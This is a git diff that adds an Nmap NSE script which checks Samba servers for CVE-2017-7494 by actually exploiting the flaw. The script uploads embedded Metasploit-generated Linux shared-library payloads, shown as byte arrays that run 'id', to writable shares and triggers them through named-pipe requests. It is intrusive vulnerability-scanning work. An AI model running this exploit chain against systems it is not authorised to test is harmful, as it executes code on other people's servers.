diff options
Diffstat (limited to '')
-rw-r--r-- | scripts/smb-vuln-cve-2017-7494.nse | 517 |
1 files changed, 517 insertions, 0 deletions
diff --git a/scripts/smb-vuln-cve-2017-7494.nse b/scripts/smb-vuln-cve-2017-7494.nse new file mode 100644 index 0000000..e48407c --- /dev/null +++ b/scripts/smb-vuln-cve-2017-7494.nse @@ -0,0 +1,517 @@ +local smb = require "smb" +local string = require "string" +local vulns = require "vulns" +local stdnse = require "stdnse" +local table = require "table" +local nmap = require "nmap" + +description = [[ +Checks if target machines are vulnerable to the arbitrary shared library load +vulnerability CVE-2017-7494. + +Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to +4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code +execution, allowing a malicious client to upload a shared library to a writable +share, and then cause the server to load and execute it. + +The script does not scan the version numbers by default as the patches released +for the mainstream Linux distributions do not change the version numbers. + +The script checks the preconditions for the exploit to happen: + +1) If the argument check-version is applied, the script will ONLY check + services running potentially vulnerable versions of Samba, and run the + exploit against those services. This is useful if you wish to scan a + group of hosts quickly for the vulnerability based on the version number. + However, because of their version number, some patched versions may still + show up as likely vulnerable. Here, we use smb.get_os(host) to do + versioning of the Samba version and compare it to see if it is a known + vulnerable version of Samba. Note that this check is not conclusive: + See 2,3,4 + +2) Whether there exists writable shares for the execution of the script. + We must be able to write to a file to the share for the exploit to + take place. We hence enumerate the shares using + smb.share_find_writable(host) which returns the main_name, main_path + and a list of writable shares. + +3) Whether the workaround (disabling of named pipes) was applied. + When "nt pipe support = no" is configured on the host, the service + would not be exploitable. Hence, we check whether this is configured + on the host using smb.share_get_details(host, 'IPC$'). The error + returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is + applied. + +4) Whether we can invoke the payloads from the shares. + Using payloads from Metasploit, we upload the library files to + the writable share obtained from 2). We then make a named pipe request + using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the + payload executes, the status return will be false. Note that only + Linux_x86 and Linux_x64 payloads are tested in this script. + +This script is based on the metasploit module written by hdm. + +References: +* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb +* https://www.samba.org/samba/security/CVE-2017-7494.html +* http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/ +]] + +--- +-- @usage nmap --script smb-vuln-cve-2017-7494 -p 445 <target> +-- @usage nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 <target> +-- @output +-- PORT STATE SERVICE +-- 445/tcp open microsoft-ds +-- MAC Address: 00:0C:29:16:04:53 (VMware) +-- +-- | smb-vuln-cve-2017-7494: +-- | VULNERABLE: +-- | SAMBA Remote Code Execution from Writable Share +-- | State: VULNERABLE +-- | IDs: CVE:CVE-2017-7494 +-- | Risk factor: HIGH CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) +-- | All versions of Samba from 3.5.0 onwards are vulnerable to a remote +-- | code execution vulnerability, allowing a malicious client to upload a +-- | shared library to a writable share, and then cause the server to load +-- | and execute it. +-- | +-- | Disclosure date: 2017-05-24 +-- | Check results: +-- | Samba Version: 4.3.9-Ubuntu +-- | Writable share found. +-- | Name: \\192.168.15.131\test +-- | Exploitation of CVE-2017-7494 succeeded! +-- | Extra information: +-- | All writable shares: +-- | Name: \\192.168.15.131\test +-- | References: +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494 +-- |_ https://www.samba.org/samba/security/CVE-2017-7494.html +-- +-- @xmloutput +-- <table key="CVE-2017-7494"> +-- <elem key="title">SAMBA Remote Code Execution from Writable Share</elem> +-- <elem key="state">VULNERABLE</elem> +-- <table key="ids"> +-- <elem>CVE:CVE-2017-7494</elem> +-- </table> +-- <table key="scores"> +-- <elem key="CVSSv3">7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)</elem> +-- </table> +-- <table key="description"> +-- <elem>All versions of Samba from 3.5.0 onwards are vulnerable to a remote
code execution vulnerability, allowing a malicious client to upload a
shared library to a writable share, and then cause the server to load
and execute it.
</elem> +-- </table> +-- <table key="dates"> +-- <table key="disclosure"> +-- <elem key="year">2017</elem> +-- <elem key="day">24</elem> +-- <elem key="month">05</elem> +-- </table> +-- </table> +-- <elem key="disclosure">2017-05-24</elem> +-- <table key="check_results"> +-- <elem>Samba Version: 4.3.9-Ubuntu</elem> +-- <elem>Writable share found. 
 Name: \\192.168.15.131\test</elem> +-- <elem>Exploitation of CVE-2017-7494 succeeded!</elem> +-- </table> +-- <table key="extra_info"> +-- <elem>All writable shares:</elem> +-- <elem> Name: \\192.168.15.131\test</elem> +-- </table> +-- <table key="refs"> +-- <elem>https://www.samba.org/samba/security/CVE-2017-7494.html</elem> +-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494</elem> +-- </table> +-- </table> +-- @args smb-vuln-cve-2017-7494.check-version Check only the version numbers the target's Samba service. Default: false +-- +--- + +author = "Wong Wai Tuck" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln","intrusive"} + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +dependencies = {"smb-os-discovery", "smb-brute"} + +--linux/x86/exec (CMD=id) +local PAYLOAD_X86 = { +0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, +0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, +0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, +0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, +0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, +0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, +0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, +0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89, +0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03, +0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80, +} + +--linux/x64/exec (CMD=id) +local PAYLOAD_X64 = { +0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00, +0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, +0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, +0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00, +0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05, +} + +PAYLOAD_X86 = string.char(table.unpack(PAYLOAD_X86)) +PAYLOAD_X64 = string.char(table.unpack(PAYLOAD_X64)) + +-- directories to look through if actual path cannot be queried +local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/", + "/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/", + "/tmp/","/home/","/home/shared/"} + +-- filename used to save into the shared folders +local FILENAME = 'test.so' + +local payloads = {PAYLOAD_X86, PAYLOAD_X64} + +--- Determines whether the version of Samba is vulnerable and sets it in the +-- table samba_cve. Note that version numbers may not indicate vulnerability +-- as there are patches released (e.g. for Ubuntu) which did not change the +-- version of Samba +-- +-- @param version The string containing the version of Samba +-- @param samba_cve The vuln table containing information for the results +local function determine_vuln_version(version, samba_cve) + local major, minor, patch + major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*") + stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch) + major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch) + + -- no patches available for 3.5.X and 3.6.X + if major == 3 and minor >= 5 then + samba_cve.state = vulns.STATE.LIKELY_VULN + elseif major == 4 then + if minor < 4 then + samba_cve.state = vulns.STATE.LIKELY_VULN + -- patched in 4.4.14 + elseif minor == 4 and patch < 14 then + samba_cve.state = vulns.STATE.LIKELY_VULN + -- patched in 4.5.10 + elseif minor == 5 and patch < 10 then + samba_cve.state = vulns.STATE.LIKELY_VULN + -- patched in 4.6.4 + elseif minor == 6 and patch < 4 then + samba_cve.state = vulns.STATE.LIKELY_VULN + end + end +end + +--- Finds all writable shares on the target host and stores the name and path +-- into samba_cve stable, using smb.share_find_writable +-- +-- @param host The target host +-- @param samba_cve The vuln table containing information for the results +-- @return (main_name, main_path) Two strings, containing the name of the main +-- writable share and its path +local function find_writable_shares(host, samba_cve) + -- determine if there are writable shares + local status, main_name, main_path, names + status, main_name, main_path, names = smb.share_find_writable(host) + + -- successful in finding writable share + if status then + local msg = string.format("Writable share found. \n Name: %s", main_name) + if main_path then + msg = msg .. string.format("\n Path: %s ", main_path) + end + + -- insert main writable directory with path into check_results + table.insert(samba_cve.check_results, msg) + + -- insert names of other writable shares to extra_info + if #names > 0 then + table.insert(samba_cve.extra_info, string.format( + "All writable shares:")) + end + for i = 1, #names, 1 do + table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name)) + end + else + -- writable share enumeration failed, return error message stored in main_name + local err = main_name + table.insert(samba_cve.extra_info, err) + main_name = nil + end + + -- main_path is C:\<actual share> + -- we map it to the equivalent statement in Unix filesystems + -- i.e. /<actual share>/ + if main_path then + main_path = "/" .. string.sub(main_path, 4) .. "/" + end + + return main_name, main_path +end + +--- Check if the suggested workaround "nt pipe support = no" was applied on +-- the target host. The script checks if details can be queried on IPC$ +-- which in a typical case will return details on the IPC, but if the +-- workaround is applied, an error of 'NT_STATUS_ACCESS_DENIED' is returned +-- +-- @param host The target host +-- @param samba_cve The vuln table containing information for the results +-- @return A boolean indicating the nt pipe support is enabled, which +-- indicates the workaround was not applied +local function is_ntpipesupport_enabled(host, samba_cve) + -- do "nt pipe support = no" workaround check, in which case + -- accessing 'IPC$' returns 'NT_STATUS_ACCESS_DENIED' + local status, result + status, result = smb.share_get_details(host, 'IPC$') + + if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then + samba_cve.state = vulns.STATE.NOT_VULN + return false + elseif not status then + -- error accessing IPC$, present error to user + local err = result + table.insert(samba_cve.extra_info, err) + end + + return true +end + +--- Creates candidate paths for common directories of shares +-- This is method is based off the Metasploit script. +-- +-- @param share_name Name of the share that you wish to write to +-- ireturn Array of candidate paths of the shares, never nil +local function enumerate_directories(share_name) + local candidates = {} + + -- enumerate through all locations to find the file + for i = 1, #COMMON_DIRS, 1 do + table.insert(candidates, COMMON_DIRS[i]) + table.insert(candidates, COMMON_DIRS[i] .. share_name) + table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name)) + table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name)) + table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_")) + end + + return candidates +end + +--- Uploads the payloads in the array into a file each on the writable share. +-- Because the execution of the payload must match the architecture of the +-- target system, the function will try to test against each payload from +-- different architectures. The payloads were generated from Metasploit. +-- +-- The function will then test if the system is vulnerable by making a NT +-- Create AndX Request on the IPC$ on the actual path of the file containing +-- the payload. It will first try to see if the actual path was retrieved +-- using previously by checking for the path argument. If it is not supplied, +-- because we do not know where the actual files are stored on the filesystem, +-- we have to make guesses on common directories. The status returned when +-- the payload executes is false, indicating that the system is vulnerable. +-- +-- @param host The target host +-- @param samba_cve The vuln table containing information for the results +-- @param payloads An array containing payloads from different architectures +-- @param name The name of the writable share +-- @param path The canonical path of the share +local function test_cve2017_7494(host, samba_cve, payloads, name, path) + local status, result, err, share_name + local candidates = {} + + -- create the files of both payloads on the share + -- the files are named as follows: + -- <index><base_filename> + for i, l_payload in ipairs(payloads) do + for _, anon in ipairs({true, false}) do + status, err = smb.file_write(host, l_payload, name, + tostring(i) .. FILENAME, anon) + stdnse.debug1("Write file status %s , err %s", status, err) + if status then break end + end + end + + -- check if a proper filepath is returned from smb probes and use it + if path then + table.insert(candidates, path) + else + share_name = string.match(name, "\\\\.*\\(.*)") .. '/' + candidates = enumerate_directories(share_name) + end + + -- try all candidate payloads + for h = 1, #payloads, 1 do + local l_filename = tostring(h) .. FILENAME + -- loop through all common candidate paths + for i = 1, #candidates, 1 do + local path = candidates[i] .. l_filename + local pipe_formats = {"\\\\PIPE\\".. path , path} + -- test both pipe formats for each path + for j = 1, #pipe_formats, 1 do + local curr_path = pipe_formats[j] + -- make an simple SMB connection to IPC$ + local status, smbstate = smb.start_ex(host, true, true, "\\\\" .. + host.ip .. "\\IPC$", nil, nil, nil) + if not status then + stdnse.debug1("Could not connect to IPC$") + else + local overrides = {} + -- perform NT Create NX Request on candidate file paths + overrides['file_create_disposition'] = 0x1 -- FILE_OPEN + overrides['file_create_security_flags'] = 0x0 -- No dynamic tracking, no security context + + stdnse.debug1("Trying path : %s", curr_path) + status, result = smb.create_file(smbstate, curr_path, overrides) + stdnse.debug1("Status: %s, Result: %s", status, result) + -- on payload execution, result will be false and server will disconnect + if not status and string.match(result, "SMB: ERROR: Server disconnected the connection") then + samba_cve.state = vulns.STATE.VULN + table.insert(samba_cve.check_results, + "Exploitation of CVE-2017-7494 succeeded!") + return + end + end + end + end + end + if samba_cve.state ~= vulns.STATE.VULN and not path then + samba_cve.state = vulns.STATE.LIKELY_VULN + table.insert(samba_cve.check_results, + 'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.') + end +end + +action = function(host,port) + local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'}) + + local result, stats + local response = {} + + local samba_cve = { + title = "SAMBA Remote Code Execution from Writable Share", + IDS = {CVE = 'CVE-2017-7494'}, + risk_factor = "HIGH", + scores = { + CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)" + }, + description = [[ +All versions of Samba from 3.5.0 onwards are vulnerable to a remote +code execution vulnerability, allowing a malicious client to upload a +shared library to a writable share, and then cause the server to load +and execute it. +]], + references = { + 'https://www.samba.org/samba/security/CVE-2017-7494.html', + }, + dates = { + disclosure = {year = '2017', month = '05', day = '24'}, + }, + check_results = {}, + extra_info = {} + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + samba_cve.state = vulns.STATE.NOT_VULN + + local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false + -- check if they put false or similar + if check_version and string.lower(check_version) == "false" then + check_version = nil + end + + local version = port.version.version + + -- retrieve version of samba using smb.get_os + if not version then + local status, result = smb.get_os(host) + + if(status == false) then + return stdnse.format_output(false, result) + end + + -- result.lanmanager contains OS version information + -- string returned by result.lanmanager looks like Samba 4.3.9-Ubuntu + -- we only want 4.3.9-Ubuntu + if string.match(result.lanmanager,"^Samba ") then + version = string.match(result.lanmanager,"^Samba (.*)") + else + return stdnse.format_output(false, + "Either versioning failed or samba does not exist on the port!") + end + end + + table.insert(samba_cve.check_results, + string.format("Samba Version: %s",version)) + + if check_version then + stdnse.debug("Port Version: %s", port.version.version) + -- determine if version is vulnerable + determine_vuln_version(version, samba_cve) + + -- The first set of conditions sees if version checking is specified + -- to speed up checks so only hosts with versions that are likely to be + -- vulnerable are scanned, the second part of the condition allows + -- the script to run try the exploit on the samba share regardless + -- of version. In this case, the latter is the default. + elseif (check_version and samba_cve == vulns.STATE.LIKELY_VULN) or not check_version then + local name, path + -- vulnerability requires library to be written to share + name, path = find_writable_shares(host, samba_cve) + stdnse.debug1("Writable share name: %s, Path returned: %s", name, path) + + -- do "nt pipe support = no" workaround check, which prevents exploitation + local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve) + + -- some patches for samba do not affect version numbers + -- e.g. 2:4.3.11+dfsg-0ubuntu0.16.04.7 + -- in reality they are not vulnerable + -- patched versions prevents named pipes containing '/' + -- more information is available on the patch + -- https://git.samba.org/?p=samba.git;a=blobdiff;f=source3/rpc_server/srv_pipe.c;h=f79fbe26abff1e3a2b3f3a21480196afc09d13b1;hp=39f5fb49ec3c0e011a5c6ad4b7ac60bcf49af05a;hb=02a76d86db0cbe79fcaf1a500630e24d961fa149;hpb=82bb44dd3b7f42b90494294b32f8413a39cb2030 + -- therefore we need to ascertain if the exploit works + if name and ntpipe_enabled then + test_cve2017_7494(host, samba_cve, payloads, name, path) + + for i, _ in ipairs(payloads) do + smb.file_delete(host, name, tostring(i) .. FILENAME) + end + end + + end + + return report:make_output(samba_cve) +end |